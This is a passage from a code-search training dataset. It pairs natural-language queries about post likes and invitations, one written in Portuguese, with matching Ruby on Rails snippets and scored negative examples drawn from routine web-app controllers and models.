"def create\n @like_system_like = LikeSystem::Like.new(params[:like_system_like])\n\n respond_to do |format|\n if @like_system_like.save\n format.html { redirect_to @like_system_like, notice: 'Like was successfully created.' }\n format.json { render json: @like_system_like, status: :created, location: @like_system_like }\n else\n format.html { render action: \"new\" }\n format.json { render json: @like_system_like.errors, status: :unprocessable_entity }\n end\n end\n end",
"def like\n @postcomment.liked_by current_user\n redirect_to @urltoredirect\n end"
] |
[
"0.7900827",
"0.7732767",
"0.7732767",
"0.7732767",
"0.76260436",
"0.7599984",
"0.75862503",
"0.7556556",
"0.75392485",
"0.7472199",
"0.7468491",
"0.74646026",
"0.7463974",
"0.74619645",
"0.7436752",
"0.7429093",
"0.74265635",
"0.7389417",
"0.730357",
"0.7277512",
"0.72712845",
"0.7236837",
"0.72297025",
"0.7206925",
"0.7199589",
"0.71863234",
"0.7161865",
"0.7156681",
"0.71524894",
"0.7124184",
"0.7122558",
"0.7114168",
"0.70985985",
"0.7096234",
"0.7094341",
"0.7094341",
"0.7094341",
"0.7082598",
"0.70517886",
"0.70517886",
"0.7049586",
"0.704857",
"0.70415115",
"0.7041488",
"0.70400184",
"0.70383775",
"0.7030365",
"0.7024921",
"0.702447",
"0.7021126",
"0.7017562",
"0.7015045",
"0.701157",
"0.701157",
"0.701157",
"0.701157",
"0.701157",
"0.701157",
"0.701157",
"0.701157",
"0.69982123",
"0.6988421",
"0.6980863",
"0.6962951",
"0.6953457",
"0.6949505",
"0.69416463",
"0.69390416",
"0.6937534",
"0.6918824",
"0.6918824",
"0.6904337",
"0.689186",
"0.6871641",
"0.68597615",
"0.6857396",
"0.68496805",
"0.6848647",
"0.68381625",
"0.68343705",
"0.6824417",
"0.6823424",
"0.68229586",
"0.6811131",
"0.6800514",
"0.6778153",
"0.6773556",
"0.6773263",
"0.6770161",
"0.6767603",
"0.67608374",
"0.6750337",
"0.6743793",
"0.6739718",
"0.6738424",
"0.673371",
"0.6733133",
"0.67244035",
"0.67243004",
"0.67205006"
] |
0.7355309
|
18
|
Retorna os likes de uma postagem
|
def set_postlike
@likes = Like.where(post_id: params[:post_id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def likes\n @likes ||= raw[\"tumblr\"][\"posts\"][\"post\"].collect do |raw_like|\n if raw_like[\"type\"] == \"regular\"\n title = raw_like[\"regular_title\"]\n body = raw_like[\"regular_body\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"quote\"\n title = raw_like[\"quote_text\"]\n body = raw_like[\"quote_source\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"photo\"\n title = raw_like[\"photo_caption\"]\n body = raw_like[\"photo_caption\"]\n type = \"photo\"\n photo_url = raw_like[\"photo_url\"].last\n elsif raw_like[\"type\"] == \"link\"\n title = raw_like[\"link_text\"]\n body = raw_like[\"link_description\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"conversation\"\n title = raw_like[\"conversation_title\"]\n body = raw_like[\"conversation_text\"]\n type = \"text\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"video\"\n title = raw_like[\"video_caption\"]\n body = raw_like[\"video_player\"]\n type = \"video\"\n photo_url = nil\n elsif raw_like[\"type\"] == \"audio\"\n title = raw_like[\"audio_caption\"]\n body = raw_like[\"audio_player\"]\n type = \"audio\"\n photo_url = nil\n end\n\n Butterfly::Like.new({\n :service => \"tumblr\",\n :id => raw_like[\"id\"],\n :title => title,\n :description => body,\n :created_at => Time.at(raw_like[\"unix_timestamp\"].to_i),\n :liked_at => nil,\n :tags => raw_like[\"tag\"],\n :photo_url => photo_url,\n :url => raw_like[\"url_with_slug\"],\n :type => type,\n :user => Butterfly::User.new({\n :id => raw_like[\"tumblelog\"],\n :username => raw_like[\"tumblelog\"],\n :name => raw_like[\"tumblelog\"],\n :service_url => \"#{raw_like[\"tumblelog\"]}.tumblr.com\",\n :photo_url => nil,\n :website_url => nil,\n :location => nil,\n })\n })\n end\n end",
"def likes\n @page.like_count\n end",
"def likes( params={} )\n likes = get_connections(\"likes\", params)\n return map_connections likes, :to => Facebook::Graph::Like\n end",
"def likes\n\t\t@likes ||= fetch_likes\n\tend",
"def likes(options={})\n likes = post(\"/v2/user/likes\", options)\n\n likes.body[\"response\"][\"liked_posts\"].map do |post|\n TumblrV2Api::Post.new(post)\n end\n end",
"def likes( params={} )\n likes = get_connections(\"likes\", params)\n return map_connections likes, :to => Facebook::Graph::Generic\n end",
"def getClientLikes()\n\t\tmy_likes = Array.new\n\t\tcleaned_up = Array.new\n\t\tlikes = $client.likes :limit => 20\n\t\tlikes[\"liked_posts\"].each do |like|\n\t\t\tif(like[\"type\"] === \"quote\" || like[\"type\" === \"text\"])\n\t\t\t\tmy_likes.push(like[\"text\"])\n\t\t\tend\n\t\tend\n\t\tmy_likes\n\tend",
"def likes\n @likes = @person.likes\n end",
"def get_likes media_id\n url = API + \"media/#{media_id}/likes?access_token=\" + @access_token\n get(url)['data'].map {|data| data}\n end",
"def likes\n query = \"SELECT COUNT(*) AS num_likes FROM likes WHERE post_id = #{id}\"\n result = DATABASE.execute(query)[0]\n return result[\"num_likes\"]\n end",
"def index\n @user_post_likes = UserPostLike.all\n end",
"def index\n @post_likes = PostLike.all\n end",
"def likes\n likes_response = client.get(\"/venues/#{id}/likes\")[\"response\"]\n @likes = {}\n if likes_response[\"likes\"]\n @likes.merge!(likes_response[\"likes\"])\n if @likes[\"groups\"]\n @likes[\"groups\"].each do |group|\n group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}\n end\n end\n end\n @likes\n end",
"def likes\n likers(User).count\n end",
"def likes\n Like.where(target_id:self.id, target_type:'comment')\n end",
"def likes\n return (@likes.present?) ? @likes : ActiveRecord::Base.connection.execute(\"SELECT COUNT(news_id) AS count FROM newslikes WHERE news_id = #{self.id.to_s}\")[0][\"count\"]\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n\n all_likes = from_instagram[\"data\"].map do |datum|\n datum[\"likes\"][\"count\"]\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def find_like\n @like = @post.likes.find(params[:id])\n end",
"def liked_posts\n liked_posts_ids.count < 1 ? [] : Post.where('id IN (?)', liked_posts_ids)\n end",
"def like?(post)\n self.likes.where(post_id: post.id.to_s)\n end",
"def object_likes(uid, options = {})\n fetch_all = options.delete(:fetch_all)\n\n params = { \n :owner_id => user.identifier,\n :count => 1000, \n :type => \"post\", \n :item_id => uid,\n :offset => 0\n }\n params.merge!(options)\n \n if fetch_all\n return fetch_all_method_items(\"likes.getList\", params)\n end\n\n\n user.likes.getList(params)\n end",
"def postlikes\n render json: @likes.length, status: 200\n end",
"def likes\n UserReaction.where(note_id: self.id, like: 1).count\n end",
"def likes\n verbs_of_interest = %w[like unlike]\n\n query = Activity.joins(:verb)\n .with_actor_id(id: guid)\n .with_target_id(id: nil)\n .merge(Verb.with_display_name(name: verbs_of_interest))\n\n @likes ||= query.group(:activity_object_id).having(\"COUNT(1) % 2 == 1\")\n end",
"def likes(user_id)\n from_instagram = retrieve_last_10_photos(user_id)\n number_of_photos = from_instagram[\"data\"].size\n all_likes = Array.new\n i = 0\n while i < number_of_photos\n likes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n all_likes.push(likes)\n i = i + 1\n end\n\n all_likes = all_likes.reduce(:+)\n\n return all_likes\n end",
"def likes(fields: nil, cursor: nil, limit: nil)\n get_pins_collection(\"/me/likes/\", nil, fields, cursor, limit)\n end",
"def like?(post)\n liked_posts.include?(post)\n end",
"def likes(options = {})\n urn = options.delete(:urn)\n path = \"/socialActions/#{urn}/likes\"\n get(path, options)\n end",
"def fetch_facebook_likes(facebook_user)\n facebook_user.likes.each do |friend_like|\n movie = Movie.find_by_fbpage_id(friend_like.id.to_s)\n if movie && movie.facebook_feeds.friend_likes.by_fb_item_id(friend_like.id.to_s).by_fbid(facebook_user.id.to_s).blank?\n post = FacebookFeed.create!(:feed_type => 'friend_likes', :movie_id => movie.id, :value => friend_like.name, :fbid => facebook_user.id, :fb_item_id => friend_like.id, :posted_on => friend_like.created_time.to_date, :facebook_name => facebook_user.name)\n Activity.create_log_for_each_friend(post, movie, 'liked', facebook_user.id.to_s, facebook_user.name)\n end\n end\n end",
"def liked_posts_ids\n post_ids = Like.where(user_id: self.id).pluck(:post_id)\n end",
"def like_post!(post)\n likes.create!(epost_id: post.id, like: 1)\n end",
"def all_likes\n get_likes_of(self)\n end",
"def get_likes(id, type)\r\n\t\treturn Like.where(user_id: self.id, likeable_type: type, likeable_id: id)\r\n\tend",
"def likes_given(user_id)\n likes = Like.where(user_id: user_id)\n end",
"def liked\n likes.map {|like| like.likeable}\n end",
"def get_like(comment)\n like = comment.likes.select { |l| l.user_id == current_user.id }\n return like\n end",
"def post_liked?(post)\n find_like(post).any?\n end",
"def likes(like_type = :all)\n case like_type\n when :tracks\n scrape_for(:liked_tracks, :get_liked_tracks)\n when :artists\n scrape_for(:liked_artists, :get_liked_artists)\n when :stations\n scrape_for(:liked_stations, :get_liked_stations)\n when :albums\n scrape_for(:liked_albums, :get_liked_albums)\n when :all\n { artists: likes(:artists),\n albums: likes(:albums),\n stations: likes(:stations),\n tracks: likes(:tracks) }\n end\n end",
"def likes_count\n self.likes_count_field\n end",
"def liked_post(post)\n if current_user.voted_for? post\n return [unlike_post_path(post.id),'glyphicon-heart']\n else\n return [like_post_path(post.id),'glyphicon-heart-empty']\n end\n end",
"def like!\n connection.post(\"/photos/#{id}/like\")\n true\n end",
"def get_facebook_likes_count\n graph = Koala::Facebook::API.new(FACEBOOK_OAUTH_TOKEN)\n fb_page_id = @pages[:facebook].href.split('/').last\n number_of_likes = begin\n id = graph.get_object(fb_page_id)[\"id\"]\n graph.get_object(id + \"?fields=likes\")[\"likes\"]\n rescue\n 0\n end\n number_of_likes\n end",
"def fb_likes_url(access_token)\n \"https://graph.facebook.com/#{self.fb_object_id}?\" \\\n \"access_token=#{access_token}&fields=id,likes&\" \\\n \"likes.limit=50\"\n end",
"def like\n post_id = params[:id]\n @post = Post.where(:id => post_id).first\n if current_user && @post\n if @post.is_like?(current_user.id)\n @post.unlike(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> Like\" \n else\n @post.like(current_user.id)\n render :text => \"<span class='badge badge-success'> #{@post.get_likes_count}</span> UnLike\" \n end\n return\n end\n render :text => 'fail' and return\n end",
"def liked_post(post)\n if current_user.voted_for? post\n return link_to '', unlike_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart liked_post_heart\"\n else\n link_to '', like_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart-empty\" \n end\n end",
"def is_liked user\n \tLike.find_by(user_id: user_id, post_id: id)\n end",
"def likes\n Like.all.select do |like|\n # like.tweet.message == self.message # this works, but its extra\n like.tweet == self # self in an instance method refers to that instance\n end\n end",
"def show\n @likes = Like.where(tweet_id: @tweet)\n end",
"def likes_count\n self.likes.size\n end",
"def likes(user_id)\n\t\tfrom_instagram = retrieve_last_10_photos(user_id)\n\t\tnumber_of_photos = from_instagram[\"data\"].size\n\t\tall_likes = Array.new\n\t\ti = 0\n\t\twhile i < number_of_photos\n\t\t\tlikes = from_instagram[\"data\"][i][\"likes\"][\"count\"]\n\t\t\tall_likes.push(likes)\n\t\t\ti = i + 1\n\t\tend\n\n\t\tall_likes = all_likes.reduce(:+)\n\n\t\treturn all_likes\n\tend",
"def likes\n people = []\n query = Activity.joins { verb }.where { activity_object_id.eq(my { id }) }\n\n activities_likes = query.where { verb.name.eq('like') }\n activities_likes.each do |activity|\n people.push activity.actor\n end\n\n activities_unlikes = query.where { verb.name.eq('unlike') }\n activities_unlikes.each do |activity|\n people.delete_at people.index(activity.actor)\n end\n\n people\n end",
"def like\n if params[:post_id]\n likeable = Comment.find(params[:id])\n what = \"Comment\"\n else\n likeable = Post.find(params[:id])\n what = \"Post\"\n end\n like = likeable.likes.where(:user_id => current_user.id).first || Like.new\n unless like.id\n like.likeable = likeable\n like.user = current_user\n like.save\n redirect_to back_page_post, flash: { :success => what + ' was liked.' }\n else\n like.destroy\n redirect_to back_page_post, flash: { :success => what + ' was unliked.' }\n end\n end",
"def likes\n Activity.joins(:activity_verb).where('activity_verbs.name' => \"like\").\n joins(:activity_objects).where('activity_objects.id' => activity_object_id)\n end",
"def liked_tweets\n Like.all.select { |l| l.user == self }.map { |l| l.tweet }\n end",
"def liked_tweets\n @tweets = self.likes.map { |like| like.tweet }\n end",
"def get_likes\n Like.all.select {|like| like.dog_id == self.id}\n end",
"def get_likes\n Like.all.select {|like| like.dog_id == self.id}\n end",
"def liked_post?(post)\n liked_posts.include? post\n end",
"def show\n @tweet_likes = @tweet.likes\n end",
"def likes(force = false)\n if force || @likes.nil?\n @likes = flags.all(:conditions => { :reason => 'like' })\n end\n @likes\n end",
"def get_random_like(client)\n likes = client.favorites(self.get_uid_int, options = {count: 5})\n like = likes.sample\n end",
"def like(user)\n likes << Like.new(user: user)\n end",
"def model_likes(args)\n options = set_model_likes_defaults(args)\n set_common_options(options)\n \n if options[:b_return_likes_totals]\n totals = make_likes_totals(options)\n end\n \n return model_make_results(options, nil, totals) \n end",
"def likes()\r\n db = connect()\r\n result2 = db.execute(\"SELECT * FROM likes\")\r\n return result2\r\n end",
"def like(params,userid)\r\n db = connect_non_hash()\r\n likedposts=db.execute(\"SELECT likes.postid FROM likes WHERE userid=(?)\", userid)\r\n likedposts = likedposts.flatten\r\n if likedposts.include? params[\"postid\"].to_i\r\n redirect('/cantliketwice')\r\n else\r\n db.execute(\"INSERT INTO likes(userid, postid) VALUES (?, ?)\", userid, params[\"postid\"])\r\n redirect('/posts')\r\n end\r\n end",
"def index\n @likes = Like.all\n end",
"def index\n @likes = Like.all\n end",
"def liked?(post_id)\n Like.where(post_id: post_id, user_id: self.id).exists?\n end",
"def likes\n Like.where(:song_path => path).group(:user_id)\n end",
"def liked?\n liked_ids = h.current_user.liked_replies.pluck(:id)\n liked_ids.include?(self.id)\n end",
"def total_like\n self.likes.where(like: true).size\n end",
"def liked\n get '/users/self/media/liked', auth_params\n end",
"def like_hello\n @client.search(\"#{@hashtbonjour}\", result_type: \"recent\").take(25).collect do |tweet|\n @client.favorite(tweet)\n end\n end",
"def like_status(post_id)\n post = Post.where(:id => post_id).first\n count = \"<span class='badge badge-success'> #{post.get_likes_count}  </span>\".html_safe\n post.is_like?(current_user.id) ? count+\" UnLike\" : count+\" Like\" if current_user.present?\n end",
"def like\n @micropost = Micropost.find(params[:postid])\n if current_user.nil?\n render text: \"no_login\"\n else\n @micropost.like(current_user.id,@micropost.user.id)\n render text: \"liked\"\n end\n \n end",
"def likes\n self.cached_votes_total\n end",
"def liked_by_count\n Recommendable.redis.scard(Recommendable::Helpers::RedisKeyMapper.liked_by_set_for(self.class, id))\n end",
"def index\n @liked_posts = LikedPost.all\n end",
"def tip_likes tip_id\n response = get(\"/tips/#{tip_id}/likes\")[\"response\"]\n @likes = response[\"likes\"]\n @likes[\"groups\"].each{ |group| group[\"items\"].map!{|item| Foursquared::Response::User.new(client, item)}} if @likes and @likes[\"groups\"]\n end",
"def like?\n response[\"like\"]\n end",
"def likers \n self.likes.map {|like| like.user_id}\n end",
"def like\n @comment.liked_by current_user\n end",
"def set_post\n @post = Post.find(params[:id])\n @likes = @post.likes\n @liked_by = @likes.find { |like| like.user_id == current_user.id }\n end",
"def show\n @post.increment!(:likes_count)\n end",
"def liked_comments_count\n # Creating comments\n comment_ids = \"SELECT id FROM comments WHERE user_id = :user_id\"\n # Except for self like\n CommentLike.where(\"comment_id IN (#{comment_ids}) AND user_id <> :user_id\", user_id: id).count\n end",
"def likings(force = false)\n if force || @likings.nil?\n @likings = flaggings.all(:conditions => { :reason => 'like' })\n end\n @likings\n end",
"def already_liked?\n Like.where(user_id: current_user.id, post_id: params[:post_id]).exists?\n end",
"def moment_likes(moment_id)\n get(\"/v1/moments/#{moment_id}/likes\")\n end",
"def like\n @postcomment.liked_by current_user\n redirect_to @urltoredirect\n end",
"def index\n @likes = Like.where(tweet_id: params[:tweet_id])\n @tweets = Tweet.paginate(page: params[:page], per_page: 10)\n end",
"def index\n @hitcher_likes = HitcherLike.all\n end",
"def like_by user\n likers << user && change_like_count(1)\n end",
"def like!(options = {})\n post(options.merge(:connection => :likes))\n end",
"def like_total\n self.likes.where(like: true).size\n end",
"def get_liked_media\n case likeable_type\n when 'Post'\n return Post.find(likeable_id)\n when 'Comment'\n return Comment.find(likeable_id)\n end\n end",
"def likes!\r\n total = opinions.size\r\n return 'no opinions' if total == 0\r\n (likes.to_f / total.to_f) * 100\r\n end",
"def like\n if @vote\n authorize! :like, @vote\n @vote.like\n else \n authorize! :create_vote, @votable.votes.new\n @votable.votes.create(user: current_user, nominal: 'like')\n end\n\n rating_respond_with_json\n end",
"def add_like\n post = Post.find(params[:id])\n post.add_like\n render nothing: true\n end",
"def get_all_likes(objects)\n returning Hash.new do |res|\n if results = @request.do_request { session.fql_query(@query.all_likes_fql(objects)) }\n results.each do |result|\n friend_name = (result['user_id'] == id.to_s) ? user.name : (friend(result['user_id']).name rescue nil)\n (res[result['object_id']] ||= []) << friend_name\n end\n end\n end\n end",
"def count_likes\n self.likers(Profile).length\n end"
] |
[
"0.75862193",
"0.7520074",
"0.7430563",
"0.73953044",
"0.7333139",
"0.730347",
"0.7298561",
"0.728033",
"0.7273957",
"0.72500753",
"0.71765",
"0.71490127",
"0.70991594",
"0.7067435",
"0.7062808",
"0.7060086",
"0.70351255",
"0.7033932",
"0.70124876",
"0.6990421",
"0.69760317",
"0.69646186",
"0.69046086",
"0.68779945",
"0.686989",
"0.68597966",
"0.6818724",
"0.68117225",
"0.6799368",
"0.6786428",
"0.6785938",
"0.6775714",
"0.6772022",
"0.6771974",
"0.6764907",
"0.6727211",
"0.6726463",
"0.6712621",
"0.66841507",
"0.66834265",
"0.6678723",
"0.66780704",
"0.6667309",
"0.66665",
"0.66530424",
"0.66321856",
"0.6630688",
"0.66233855",
"0.66215354",
"0.6612314",
"0.6609437",
"0.65983003",
"0.6583942",
"0.65733385",
"0.65693223",
"0.65616477",
"0.65616477",
"0.654268",
"0.6531507",
"0.6526385",
"0.652583",
"0.6522693",
"0.6494228",
"0.64894",
"0.6486309",
"0.6469928",
"0.6469928",
"0.64559823",
"0.6452834",
"0.64418674",
"0.6440474",
"0.6438254",
"0.64356154",
"0.6427604",
"0.6427535",
"0.64235747",
"0.6421676",
"0.6415623",
"0.64104337",
"0.64092684",
"0.64087725",
"0.64016247",
"0.63970214",
"0.63925314",
"0.6387788",
"0.63604146",
"0.6354602",
"0.63512313",
"0.6331158",
"0.63309383",
"0.63241714",
"0.6322909",
"0.63228846",
"0.63123107",
"0.63113165",
"0.63089633",
"0.63087606",
"0.62963015",
"0.6296098",
"0.6290128"
] |
0.69821304
|
20
|
GET /invites GET /invites.json
|
def index
@invites = Invite.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def invites\n raise 'Tried to request invites from a non-server channel' unless server\n\n invites = JSON.parse(API::Channel.invites(@bot.token, @id))\n invites.map { |invite_data| Invite.new(invite_data, @bot) }\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index\n @invites = Invite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n end",
"def index_invites\n puts \"user: #{@current_user.json_hash[:id]}\"\n dinners = []\n @dinners = @current_user.invited_dinners\n @dinners.each do |dinner|\n dinners << dinner.all_info\n end\n render json: dinners\n end",
"def show\n @invites = Invite.all\n end",
"def index\n @invites = current_user.invites\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invites }\n end\n session[:new_invite_error] = nil\n session[:new_invite_error_url] = nil\n end",
"def received_invitations\n user = User.find(params[:user_id])\n @invitations = user.invitations\n\n render json: @invitations\n end",
"def index\n if params[:story_id].present?\n @invitations = Story.find(params[:story_id]).invitations\n else\n @invitations = Invitation.find_by_email(@current_user.email)\n end\n render json: @invitations\n end",
"def index\n @inviteds = Invited.all\n end",
"def dogwalker_invited\n #@invitations = Invitation.invited_clients_email(params[:email]).select(:email)\n @invitations = Invitation.invitees(params[:email]).select(:email)\n logger.debug(\"@invitations.to_json = \" + @invitations.to_json)\n render json: {:invitations => @invitations }, :layout => false\n end",
"def invitations\n\t\t@invits = current_user.receive_invites.order(\"id DESC\")\n\tend",
"def invites(auth, server_id)\n MijDiscord::Core::API.request(\n :guilds_sid_invites,\n server_id,\n :get,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/invites\",\n Authorization: auth\n )\n end",
"def index\n @invitations = Invitation.all\n\n render json: @invitations, except: [:created_at, :updated_at], \n include: [:event => {include: [:host => {except: [:password_digest, :created_at, :updated_at]}]}]\n end",
"def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @invitations }\n end\n end",
"def invitations\n @invitations = Invitation.pending_by_user(current_user.id)\n\n respond_to do |format|\n format.html\n end\n end",
"def index\n\t\t@guild_invites = @guild.invites.order(\"id DESC\")\n\tend",
"def invitations\n res = []\n\n tmp = GoodData.get @json['project']['links']['invitations']\n tmp['invitations'].each do |invitation|\n res << GoodData::Invitation.new(invitation)\n end\n\n res\n end",
"def invited_users\n render json: @moot.list_users_can_vote\n end",
"def group_invites\n @invites = GroupsController.group_invites current_user\n end",
"def index\n @invitations = Invitation.all\n respond_with(@invitations)\n end",
"def index\n @title = 'Invitations'\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.haml\n format.json { render json: @invitations }\n end\n end",
"def index\n @list_invites = ListInvite.all\n end",
"def index\n @invites = Invite.find(:all, :conditions => \"to_user_id = #{current_user.id} or to_email = '#{current_user.email}'\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invites }\n end\n end",
"def invites\n user = current_user\n\n # Query to get only not yet accepted trips associated wiht the current user\n @trips = Trip.joins(:user_trips).where(user_trips: { accepted: false }).where(user_trips: { user_id: user.id })\n render json: @trips\n end",
"def show\n @invite_list = InviteList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_list }\n end\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitations = Invitation.all\n end",
"def index\n @invitees = Invitee.all\n end",
"def index\n @invitees = Invitee.all\n end",
"def view_invitations\n @invitations = Invitation.all(:conditions => ['status = ?', 'pending'])\n end",
"def index\n @invites = current_user.invites.where(is_declined: nil).all\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n @invite = Invite.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite }\n end\n end",
"def show\n user = User.find_by(id: params[:id]) #should use session id\n if user\n invitations = user.invitations\n if invitations\n render json: invitations, status: :ok\n else\n head :no_content\n end\n else\n render json: {error: \"User not found\"}, status: :not_found\n end\n end",
"def sent_invitations\n user = User.find(params[:user_id])\n @invitations = Invitation.created_by_user(user)\n\n render json: @invitations\n end",
"def index\n # @invitations = Invitation.all\n end",
"def index\n @team_invites = TeamInvite.where(team: current_team)\n end",
"def new_invites\n self.invites.all(:hide => false)\n end",
"def index\n @invitations = @event.invitations.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def index\n @invts = Invt.all\n end",
"def index\n @invitations = Invitation.where(organization_id: current_user.organization_id).all\n end",
"def get_mission_invites\n\t#get all missions of user with invitaion_status = pending\n user = User.exists? (params[:user_id])\n\tif user\n\t\tmissions = user.missions.references( :user_missions).select('missions.id, missions.title, user_missions.invitation_time').where( user_missions:{ invitation_status: PENDING_MESA_INVITATION})\n\t\trespond_to do |format|\n\t\t format.json {render :json=> {:mesa_invites=> missions, :status => true} }\n\t\tend\n else\n\t respond_to do |format|\n\t\t format.json {render :json=> {:error=>'No user exists with id' , :status => false} }\n\t end\n\tend\n end",
"def invitestatuslist\n @inviteStatus = InviteStatus.find :all\n render :layout => 'plain'\n end",
"def index\n @invitations = Invitation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invitations }\n end\n end",
"def index\n @invite_requests = InviteRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @invite_requests }\n end\n end",
"def get_user_invitations(filter: {}, includes: nil, limit: nil, sort: nil)\n params = users_request_client.build_params(filter: filter, includes: includes, limit: limit, sort: sort)\n users_request_client.get(\"userInvitations\", params)\n end",
"def invite_detail\n service_response = AdminManagement::AdminUser::GetInviteDetail.new(params).perform\n render_api_response(service_response)\n end",
"def index\n @user = User.find(params[:user_id]) \n @invitations = @user.invitations\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\nend",
"def index\n @invitations = Invitation.find(:all)\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @invitations.to_xml }\n end\n end",
"def show\n @invite_status = InviteStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @invite_status }\n end\n end",
"def accepted_invites\n since = Time.zone.now - params[:days].to_i.days\n count = GroupInvitation.accepted\n .where('created_at > ?', since)\n .count\n respond_with json_response('accepted_invites', count)\n end",
"def index\n # LE TEMPS DE ...\n if self.admin?\n @invites = Invite.all\n elsif self.check_user && self.check_no_guild\n @invites = Invite.where(:user_id => session[:user_id])\n elsif self.check_user && self.check_is_guild_owner\n @invites = Invite.where(:guild_id => @guild[:id])\n end\n end",
"def index\n @invitations = Invitation.where(receiver_id: current_user.id)\n end",
"def show\n @invite = @event.invites.find(params[:id])\n end",
"def index\n @invites = current_user.recieved_team_requests\n @sent = current_user.sent_team_requests\n end",
"def invitestatuslist\n @inviteStatus = InviteStatus.all\n render :layout => 'plain'\n end",
"def index\n @team = Team.find_by_id(params[:team_id])\n @invite_requests = @team.invite_requests\n end",
"def index\n @user_invitations = UserInvitation.all\n end",
"def index\n @invoices = @user.invoices.all\n render json: @invoices, status: :ok\n end",
"def index\n @invs = Inv.all\n end",
"def index\n\t\t@events = Event.where(\"creator_id = ?\", current_user.id)\n\t\tInvitation.where(\"email = ? and accepted = ?\", current_user.email, true).each do |invitation|\n\t\t\t@events << invitation.event\n\t\tend\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"def invite\n @data['invite']\n end",
"def invite\n @obj['invite']\n end",
"def show\n @invitee = Invitee.find(params[:id])\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { render json: @invitee }\n end\n end",
"def index\n if params[:admin] == \"1\"\n @invites = Invite.all\n else\n render file: \"#{Rails.root}/public/403.html\", status: 403, layout: false\n end\n end",
"def all_inviters(page = nil, per_page = nil)\n pipeline = [\n { '$project' =>\n { _id: 0,\n f_id: 1,\n invitable_id: 1,\n invitable_type: 1\n }\n },\n {\n '$match' => {\n 'invitable_id' => self.id,\n 'invitable_type' => self.class.name.split('::').last\n }\n }\n ]\n\n if page && per_page\n pipeline << { '$skip' => (page * per_page) }\n pipeline << { '$limit' => per_page }\n end\n\n pipeline << { '$project' => { f_id: 1 } }\n\n command = {\n aggregate: 'invits',\n pipeline: pipeline\n }\n\n if defined?(Mongoid)\n db = Mongoid.default_session\n elsif defined?(MongoMapper)\n db = MongoMapper.database\n end\n\n users_hash = db.command(command)['result']\n\n ids = users_hash.map {|e| e['f_id']}\n\n User.where(id: { '$in' => ids }).all.entries\n end",
"def get_unissued_invites()\n User.find(session[:user_id]).unissued_invites\n end",
"def get_public_dashboard_invitations(token, opts = {})\n data, _status_code, _headers = get_public_dashboard_invitations_with_http_info(token, opts)\n data\n end",
"def index\n @invited_fiends = InvitedFiend.all\n end",
"def index\n @invstatuses = Invstatus.all\n end",
"def invite\n @invite = Invite.new\n @invite.invited_id = params[:invited_id]\n @invite.dinner_id = params[:id]\n if @invite.valid?\n @invite.save\n render json: @invite\n else\n puts @invite.errors.messages.inspect\n render status: :bad_request, json: {\n errors: @invite.errors.messages\n }\n end\n end",
"def index\n # TODO pull out api key before pushing to github & pull out binding prys\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n subId = message[:data][0][:id]\n else\n # Port is open in our router\n params = { url: SUBSCRIPTION_URL, events: ['invitee.created', 'invitee.canceled'] }\n newRes = HTTParty.post URL, body: params, headers: HEADERS\n message = JSON.parse newRes.body, symbolize_names: true\n # TODO need error handling\n subId = message[:id]\n end\n end\n end",
"def index\n @members = Member.members\n @participants = Member.participants\n @invited_count = Member.count\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @members }\n end\n end",
"def index\n @friend_invites = FriendInvite.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @friend_invites }\n end\n end",
"def invitations()\n return MicrosoftGraph::Invitations::InvitationsRequestBuilder.new(@path_parameters, @request_adapter)\n end",
